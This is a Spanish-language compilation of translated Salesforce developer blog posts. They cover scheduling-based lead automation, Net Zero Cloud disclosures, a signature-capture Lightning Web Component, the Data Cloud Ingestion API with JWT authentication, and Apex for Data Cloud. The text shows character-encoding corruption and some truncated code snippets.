Las herramientas de programaci贸n nativas de Salesforce permiten a los equipos de ventas automatizar la creaci贸n de clientes potenciales, lo que garantiza una captura precisa de la informaci贸n y los datos demogr谩ficos de los clientes potenciales en el CRM. Al automatizar el proceso de creaci贸n de clientes potenciales tan pronto como se programa una cita, los administradores pueden ahorrar tiempo, mantener la integridad de los datos y evitar la redundancia. Los flujos automatizados agilizan el proceso y eliminan los errores de entrada manual. La precisi贸n mejorada y la colaboraci贸n entre las partes interesadas mejoran las tasas de conversi贸n de clientes potenciales y proporcionan datos confiables para informes y an谩lisis.

Para automatizar r谩pidamente la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva, puede seguir estos pasos:

  1. Identifique el evento desencadenante : determine el evento o la acci贸n espec铆ficos que deben desencadenar la creaci贸n de clientes potenciales. En este caso, ser铆a la reserva de una cita.
  2. Configure un flujo de Salesforce : utilice el flujo de Salesforce para crear una regla que active el proceso de creaci贸n de clientes potenciales. Especifique los criterios para cu谩ndo debe activarse el flujo, como cuando se reserva una nueva cita.
  3. Definir asignaci贸n de campos : configure la asignaci贸n de campos para asegurarse de que la informaci贸n relevante de la cita se transfiera correctamente al registro de clientes potenciales. Puede asignar campos como el nombre del participante, la informaci贸n de contacto, los detalles de la cita y otros puntos de datos relevantes.
  4. Crear el registro de prospecto : configure Salesforce Flow para crear un nuevo registro de prospecto con los datos asignados. Aseg煤rese de que todos los campos obligatorios est茅n completos y que el registro de cliente potencial est茅 asociado con la campa帽a o la fuente adecuada.
  5. Probar y validar : pruebe el proceso automatizado de creaci贸n de clientes potenciales reservando una cita de muestra y verificando que el registro de clientes potenciales se cree con los datos esperados. Valide que el registro de prospectos aparezca en la cola de prospectos designada o en las reglas de asignaci贸n.
  6. Supervisar y perfeccionar : Supervise continuamente el proceso de automatizaci贸n de creaci贸n de clientes potenciales para garantizar su eficacia y precisi贸n. Realice los ajustes o mejoras necesarios en funci贸n de los comentarios, los cambios en los requisitos comerciales o los problemas de calidad de los datos.

Al automatizar la creaci贸n de clientes potenciales en Salesforce en el momento de la reserva, los representantes de ventas y los administradores pueden ahorrar tiempo, garantizar la precisi贸n de los datos y mantener un proceso de gesti贸n de clientes potenciales optimizado. Esta automatizaci贸n facilita la captura eficiente de clientes potenciales, reduce el esfuerzo manual y mejora la productividad del equipo de ventas.

Conclusi贸n:

Los flujos de programaci贸n automatizados, junto con las poderosas capacidades de SUMO Scheduler, simplifican y mejoran los procesos de trabajo, ahorran tiempo, reducen errores y mejoran la satisfacci贸n del cliente. Al adoptar la automatizaci贸n, los administradores de Salesforce pueden impulsar mejoras significativas en la eficiencia, la productividad y el rendimiento comercial general. La optimizaci贸n de los procesos de programaci贸n y el aprovechamiento de los flujos de automatizaci贸n en Salesforce con SUMO Scheduler es una combinaci贸n ganadora para las empresas que buscan optimizar sus operaciones. 隆Adopte la revoluci贸n de la automatizaci贸n hoy e impulse a su equipo de ventas a nuevos niveles de 茅xito!

Haga clic aqu铆 para visitar SUMO Scheduler en Salesforce AppExchange y obtener m谩s informaci贸n sobre el poder de la programaci贸n autom谩tica de autoservicio .

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Divulgaci贸n y cumplimiento en Net Zero Cloud

Divulgaci贸n y cumplimiento en Net Zero Cloud

Cubrimos brevemente Net Zero Cloud en el pasado, de hecho, no es una sola nube sino una gran cosa de m煤ltiples industrias si me preguntan.

Como parte de la explicaci贸n de esto: https://developer.salesforce.com/docs/atlas.en-us.netzero_cloud_dev_guide.meta/netzero_cloud_dev_guide/netzero_cloud_data_model.htm

:O

Lo que me gustar铆a cubrir hoy es Disclosure and Compliance Hub. Que es un m贸dulo dentro de Net Zero Cloud para que pueda hacer exactamente eso: esencialmente, esto le permite extraer datos, responder preguntas, colaborar con los usuarios y generar divulgaciones.

Esto es importante ya que cada vez m谩s claridad y transparencia sobre el impacto ambiental y social se est谩 volviendo esencial. Y bueno, la legislaci贸n est谩 sucediendo y, potencialmente, los impuestos y las sanciones pueden venir en el futuro (隆la l铆nea es corta por cierto!)

Entonces, lo que este m贸dulo le permite hacer es simplemente generar "divulgaciones formateadas" que luego puede informar y publicar.

Lo primero que debe hacer es habilitarlo en Net Zero > Disclosure and Compliance Hub Settings > Luego active Manage Disclosure and Compliance Hub. Para que pueda acceder a la aplicaci贸n, que es bastante sencilla:

Con NZC Disclosure and Compliance Hub, Salesforce tiene un paquete que incluye 3 informes iniciales:

CDP : en el a帽o 2000, el 'Carbon Disclosure Project' proporcion贸 una estructura clara para que las organizaciones informaran externamente sobre su huella. https://www.cdp.net/es/info/sobre-nosotros

GRI : otro marco de est谩ndares de informes sobre el cumplimiento ambiental, esto tambi茅n incluye una amplia gama de biodiversidad a impuestos, residuos a emisiones. https://www.globalreporting.org/

SASB 鈥 Sustainability Accounting Standards Board se enfoca en un subconjunto de temas de sustentabilidad m谩s relevantes para el desempe帽o financiero en cada una de las 77 industrias. https://sasb.org/

El proceso guiado y la variaci贸n de la estructura de est谩ndares en las opciones anteriores, creo que esta es la raz贸n por la que en la edici贸n Growth de Net Zero Cloud tiene licencias de OmniStudio. Con el paquete de estos 3 informes estructurados, omniscript y dataraptors ya est谩n agrupados y listos para usar.

Debajo de una muestra de pasos para crear una Divulgaci贸n en el tipo SASB:

Entonces, OmniStudio utiliza un proceso guiado para extraer datos de las respuestas cualitativas y cuantitativas a los cuestionarios.

Los cuestionarios est谩n ah铆 para recopilar informaci贸n espec铆fica, como el uso del presupuesto para una subvenci贸n, o informes de emisiones de carbono y energ铆a, o para informaci贸n gen茅rica, como informes ambientales, sociales y de gobernanza.

Tambi茅n puede colaborar en las respuestas con los usuarios y crear una colecci贸n de respuestas reutilizables aprobadas.

Puede utilizar las respuestas para producir documentos formateados. Dentro del registro de Divulgaci贸n tiene una acci贸n 'Generar documento':

隆Tada!

Eso es usar la plantilla est谩ndar que viene del paquete en la versi贸n SASB.

Tan simple como eso, lo que se vuelve m谩s complicado es si desea utilizar otro tipo de Divulgaci贸n, por lo que tendr铆a que crear los componentes relacionados de OmniStudio, etc. 隆Aunque sugerir铆a utilizar uno de estos 3 est谩ndares disponibles que son ampliamente adoptados!

驴C贸mo est谩 reportando su organizaci贸n hoy en Gobernanza Social Ambiental?

Continue reading

Capture firmas electr贸nicas con componentes web Lightning en dispositivos m贸viles 鈽侊笍

Capture firmas electr贸nicas con componentes web Lightning en dispositivos m贸viles 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Capture firmas electr贸nicas con componentes web Lightning en dispositivos m贸viles | Blog de desarrolladores de Salesforce

驴Alguna vez ha necesitado recopilar una firma electr贸nica sobre la marcha? Tal vez necesite verificar un pago, asegurarse de que se procesen transacciones exitosas o incluso actualizar los registros despu茅s de que se haya completado un servicio. Una firma electr贸nica es 煤til como paso de verificaci贸n de muchas maneras. Permitir que los trabajadores de campo capturen firmas sobre la marcha es uno de los casos de uso m贸vil m谩s comunes que escuchamos de nuestros clientes. Por lo tanto, me complace compartir que hemos creado un componente web Lightning de muestra que le permite capturar firmas y adjuntarlas a un registro de Salesforce. Si bien creamos esto para casos de uso m贸vil, no hay nada que le impida usarlo tambi茅n en computadoras de escritorio con pantalla t谩ctil. Trabajar con el LWC de captura de firmas Veamos un ejemplo en acci贸n. Dreamhouse es una aplicaci贸n de muestra de bienes ra铆ces ficticia que se puede usar para web y dispositivos m贸viles. Los agentes de bienes ra铆ces, cuando est谩n en el proceso de cerrar un trato, deben poder capturar el nombre y la firma del comprador para asociarlos con la propiedad que se vendi贸. Para hacer esto, los desarrolladores de Dreamhouse pueden utilizar un nuevo componente LWC de muestra que hemos creado. 隆Vamos a sumergirnos en 茅l!

Configuraci贸n de la configuraci贸n de LWC

Para nuestro requisito Dreamhouse anterior, debemos poder recopilar el nombre y la informaci贸n de la firma del LWC. Esto se puede hacer a trav茅s de tres pasos.

  1. Configure su dise帽o HTML LWC
  2. Configura tus estilos LWC
  3. Conecte su interfaz con las API de JavaScript de LWC

隆Vamos a sumergirnos en m谩s detalles sobre los pasos!

1. Configure su dise帽o HTML de LWC

Para comenzar, vaya a la secci贸n NameAndSignatureCapture del directorio de muestra de LWC en GitHub. Luego, copie el componente signaturePad en la carpeta lwc de su proyecto. Despu茅s de copiar el c贸digo del componente de muestra, puede hacer referencia al componente escribiendo <c-signature-pad> y establecer sus atributos para configurarlo.

<dx-code-block title language="html" code-block="

“>

2. Configura tus estilos LWC

A continuaci贸n, los estilos de la interfaz tambi茅n se pueden ajustar para satisfacer sus necesidades. Para nuestra demostraci贸n de Dreamhouse, importemos una nueva familia de fuentes. Para hacer esto, simplemente configure los estilos para su componente LWC como se ve a continuaci贸n.

Tambi茅n puede personalizar el dise帽o del LWC a su gusto haciendo referencia a la clase adecuada y los atributos HTML.

3. Conecte su interfaz con las API de LWC

Por 煤ltimo, debemos asegurarnos de que la firma sea capturada correctamente por el LWC. A los efectos de nuestro ejemplo Dreamhouse, queremos poder guardar la firma proporcionada por el usuario final.

El SignaturePad LWC que proporcionamos se puede configurar para capturar datos y personalizar la interfaz a trav茅s de las API de JavaScript y sus atributos HTML correspondientes. Para hacer esto, simplemente invoque los m茅todos API y con茅ctelos a sus atributos HTML correspondientes en el <c-signature-pad> . Consulte la lista a continuaci贸n para el atributo HTML y las asignaciones de la API de JavaScript

Funcionalidad Descripci贸n Atributo HTML = "tipo" API de JavaScript (Tipo)
Habilitar firma de nombre Permite a los usuarios finales escribir su nombre y devuelve un texto para firmar generado autom谩ticamente a medida que los usuarios escriben su nombre. enable-name-signing=鈥漛ooleano鈥 enableNameSigning(booleano)
Habilitar dibujo de firma Le permite solicitar a los usuarios finales que dibujen su propia firma personalizada en el panel de firma proporcionado. habilitar-firma-dibujo = "booleano" enableSignatureDrawing (booleano)
Grosor de trazo caracter铆stico Personalice el grosor del trazo del l谩piz en las capturas de firma electr贸nica. trazo-grosor = "entero" grosor del trazo (entero)
Color de la pluma de firma Personalice el color de tinta del bol铆grafo que se proporciona al usuario final. bol铆grafo-color=鈥滳adena鈥 plumaColor(Cadena)
Color de la almohadilla de firma Personalice el color del pad de firma que ve el usuario final. pad-color=鈥滳adena鈥 padColor(Cadena)
Color de fuente de la firma Personaliza la fuente de la firma. fuente-color = "Cadena" font.color=Cadena
Configuraci贸n de una etiqueta de campo de entrada Establezca una etiqueta para el nombre del campo de entrada. nombre-entrada-etiqueta=鈥滳adena鈥 nombreInputLabel=鈥滳adena鈥
Configuraci贸n de una etiqueta de almohadilla Establezca un nombre para la etiqueta sobre el panel de firma. nombre-entrada-etiqueta=鈥滳adena鈥 nombreInputLabel=鈥滳adena鈥
Guardar firma Permite guardar una firma autogenerada y/o personalizada. onclick={guardar firma} pad.getSignature()
Firma clara Permite eliminar la firma anterior si es necesario volver a hacerlo. onclick={clarar Firma} pad.clearSignature()

Tenga en cuenta que tambi茅n agregamos un m茅todo clearSignature y saveSignature para permitir borrar y guardar firmas respectivamente. Puede hacer esto configurando sus propios m茅todos de JavaScript que se conectan a pad.setSignature() y pad.clearSignature() . Estos se pueden conectar a los componentes <lightning-button> . Veamos un ejemplo de esto a continuaci贸n.

Ahora que tenemos los m茅todos de JavaScript identificados, veamos algunos de ellos en acci贸n. Esto se puede hacer usando el siguiente JavaScript.

{ if (font.family === "Great Vibes" && font.status === "unloaded") { // Ensure that the font is loaded so that signature pad could use it. // If you are using a different font in your project, don’t forget // to update the if-condition above to account for it. font.load(); } }); } saveSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { const dataURL = pad.getSignature(); if (dataURL) { // At this point you can consume the signature, for example by saving // it to disk or uploading it to a Salesforce org/record. // Here we just preview it in an image tag. this.imgSrc = dataURL; } } } clearSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { pad.clearSignature(); } this.imgSrc = null; }
} “>

Tenga en cuenta que agregamos un m茅todo clearSignature que se invoca cuando se hace clic en el bot贸n Borrar, as铆 como un m茅todo saveSignature que se invoca cuando se hace clic en el bot贸n Guardar.

Algo a destacar sobre el componente es que responde completamente a los cambios de tama帽o y orientaci贸n. Tambi茅n tenga en cuenta que el componente de captura de firmas ha sido dise帽ado para funcionar en la web, el panel t谩ctil o el l谩piz para dispositivos m贸viles o tabletas.

Adem谩s, Signature Capture LWC es compatible con la web y los dispositivos m贸viles y es la solicitud m谩s com煤n utilizada en la aplicaci贸n m贸vil Salesforce , as铆 como en nuestra aplicaci贸n Mobile Test Harness . Eche un vistazo a la demostraci贸n a continuaci贸n para ver c贸mo se ejecuta en acci贸n.

Conclusi贸n

Esperamos que haya disfrutado de esta publicaci贸n de blog y que est茅 ansioso por usar las capacidades de captura de firma en su LWC para dispositivos m贸viles. Para empezar:

  • 隆Buceo en! Consulte nuestro repositorio GitHub de ejemplos m贸viles de LWC para ver y probar los ejemplos de LWC de las capacidades de captura de firmas en acci贸n. Luego, una vez que est茅 familiarizado con los flujos…
  • 隆Personal铆zalo! Tome las muestras de Signature Capture LWC y ampl铆elas para personalizarlas seg煤n las necesidades de su negocio.
  • 隆Alcanzar! Si tiene alguna pregunta, comentario o idea, puede conectarse con nosotros en nuestra comunidad Salesforce Mobile Trailblazer .

Para obtener m谩s informaci贸n sobre nuestras ofertas m贸viles, consulte los siguientes enlaces:

Sobre el Autor


Ashwin Nair es un Product Manager en Salesforce que se enfoca en Salesforce Mobile. Actualmente est谩 trabajando en Mobile Platform Experiences y ha estado en el espacio de desarrollo web y m贸vil durante m谩s de siete a帽os. S铆guelo en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cargue datos mediante programaci贸n con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importaci贸n de datos. Estos le permiten conectar otra organizaci贸n de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programaci贸n en Data Cloud. Admite patrones de interacci贸n masiva y de transmisi贸n. El patr贸n de transmisi贸n usa JSON como su formato, cargando datos en micro lotes a trav茅s de la API REST. El patr贸n masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicaci贸n de blog, analizaremos c贸mo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programaci贸n utilizando los patrones Streaming y Bulk.

Cu谩ndo usar la ingesti贸n Streaming vs Bulk

Ingesti贸n de transmisi贸n Ingesti贸n a granel
Al actualizar peque帽os microlotes de registros casi en tiempo real Al mover grandes vol煤menes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisi贸n modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organizaci贸n de Data Cloud que desea rellenar con 30, 60 o m谩s de 90 d铆as de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deber谩 seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicaci贸n conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creaci贸n y configuraci贸n de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creaci贸n de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuraci贸n de nube de datos y seleccione API de ingesta .

Aqu铆 encontrar谩 todos los conectores disponibles en su organizaci贸n. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicaci贸n de muestra, trabajaremos con una empresa de energ铆a solar ficticia. Estamos interesados en recibir eventos de m茅tricas relacionadas con el rendimiento energ茅tico de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qu茅 tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificaci贸n OpenAPI. Este archivo de esquema tiene requisitos espec铆ficos, as铆 que aseg煤rese de consultar la documentaci贸n para obtener m谩s informaci贸n.

A continuaci贸n se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que ser谩 煤nico para cada evento y luego se asignar谩 en Data Cloud como clave principal. Otro es customer_id , que nos ser谩 煤til para mapear el evento con un cliente de nuestra organizaci贸n. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que est谩 creado. Sin embargo, a煤n no est谩 listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este prop贸sito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, tambi茅n puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos seg煤n sea necesario.

Creaci贸n e implementaci贸n de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexi贸n para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos est谩 activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pesta帽a en la aplicaci贸n Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opci贸n API de ingesta est谩 deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuaci贸n, ver谩 los diferentes objetos que est谩n asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deber谩 seleccionar una categor铆a o tipo de datos en ese flujo de datos. Hay tres categor铆as: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacci贸n con el cliente, interacci贸n web, etc.

Cuando se selecciona, el men煤 desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

鈥 Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electr贸nico o n煤meros de tel茅fono

鈥 Una lista de empresas o cuentas con ID de cuenta

鈥 Una lista de empleados o cualquier otra poblaci贸n por la que desee segmentar o utilizar como poblaci贸n inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como informaci贸n de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos est谩n configurados, es hora de implementarlos. Despu茅s de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la p谩gina de detalles del flujo de datos. Aqu铆 podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organizaci贸n para crear objetos de modelo de datos (parte del proceso de armonizaci贸n de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicaci贸n de blog, pero tenemos un excelente video con Danielle Larregui que le muestra c贸mo hacerlo.

Nuestro conector API de ingesta est谩 listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuraci贸n de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creaci贸n de una aplicaci贸n conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicaci贸n conectada requiere los siguientes 谩mbitos:

脕mbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexi贸n Realizar solicitudes en su nombre en cualquier momento

Adem谩s, nuestra aplicaci贸n conectada requerir谩 un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando crear谩 dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave p煤blica.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber c贸mo crear una aplicaci贸n conectada, consulte la documentaci贸n oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurar谩 el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicaci贸n conectada
  • sub: el nombre de usuario de su organizaci贸n de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de 茅poca

reclamos JWT

Nota : La 茅poca de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuaci贸n, deber谩 utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Aseg煤rese de que el mensaje Firma verificada aparezca a continuaci贸n, lo que indica que nuestro JWT es v谩lido.

O puede crearlo program谩ticamente usando el lenguaje de programaci贸n de su elecci贸n. M谩s adelante en este art铆culo, compartir茅 un pr谩ctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=”>

Y luego, inicie sesi贸n y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente informaci贸n.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=”>

Nota: aseg煤rese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dar谩 un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicaci贸n conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuaci贸n, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token”>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticaci贸n en dos pasos. Para usarlo, necesitar谩 la clave privada que cre贸 anteriormente, as铆 como un archivo de configuraci贸n similar al siguiente.

config.js

Adem谩s, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); “>

El m茅todo generateAccessToken devolver谩 el objeto de autenticaci贸n de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la informaci贸n necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisi贸n

Para comenzar a transmitir datos en el conector de Ingesti贸n de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuraci贸n del conector de la API de Ingesti贸n. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }”>

Nota : aseg煤rese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticaci贸n.

Si todo va bien, recibir谩s la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con 茅xito.

Nota : tambi茅n puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingesti贸n masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operaci贸n que se realizar谩, que puede ser upsert o delete.
  • Cargar los datos en CSV: Despu茅s de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesar谩n, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparaci贸n de los datos: una vez que se cargan los datos, deber谩 indicar que los datos est谩n listos para ser procesados.
  • Cerrar o cancelar el trabajo: despu茅s de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener m谩s informaci贸n sobre c贸mo usar los puntos de conexi贸n masivos, puede consultar la documentaci贸n oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. All铆, seleccionar谩 el objeto Data Lake correspondiente al conector de ingesta que cre贸 anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colecci贸n Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusi贸n

Ahora, est谩 listo para comenzar a cargar datos mediante programaci贸n en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Adem谩s, si prefiere aprender de un video, mi colega Aditya ha creado un video 煤til que explica lo que hemos cubierto en esta publicaci贸n de blog . Aseg煤rese de ver tambi茅n los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores l铆der certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a trav茅s de sus videos, seminarios web, publicaciones de blog y contribuciones de c贸digo abierto, y tambi茅n habla con frecuencia en conferencias y eventos en todo el mundo. S铆galo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Liberando el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Libere el poder de Apex en Salesforce Data Cloud 鈥 Parte 1 | Blog de desarrolladores de Salesforce

Trailblazer.me estar谩 fuera de l铆nea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pac铆fico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podr谩 iniciar sesi贸n en ninguna aplicaci贸n relacionada, incluidas Ayuda y capacitaci贸n, AppExchange, Trailhead y Trailblazer Community, y m谩s.

Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de m煤ltiples sistemas en una 煤nica instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para an谩lisis, aprendizaje autom谩tico y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientaci贸n sobre c贸mo utilizarlas de manera efectiva.

Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario est谩ndar de Data Cloud, o que los ISV construyan su propio c贸digo para automatizar operaciones espec铆ficas de Data Cloud, como la resoluci贸n de identidades, la creaci贸n y ejecuci贸n de conocimientos calculados de Data Cloud o la segmentaci贸n.

Objetos de Salesforce Data Cloud frente a objetos est谩ndar/personalizados

Antes de analizar c贸mo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y c贸mo difieren con respecto a los objetos est谩ndar/personalizados de Salesforce Platform.

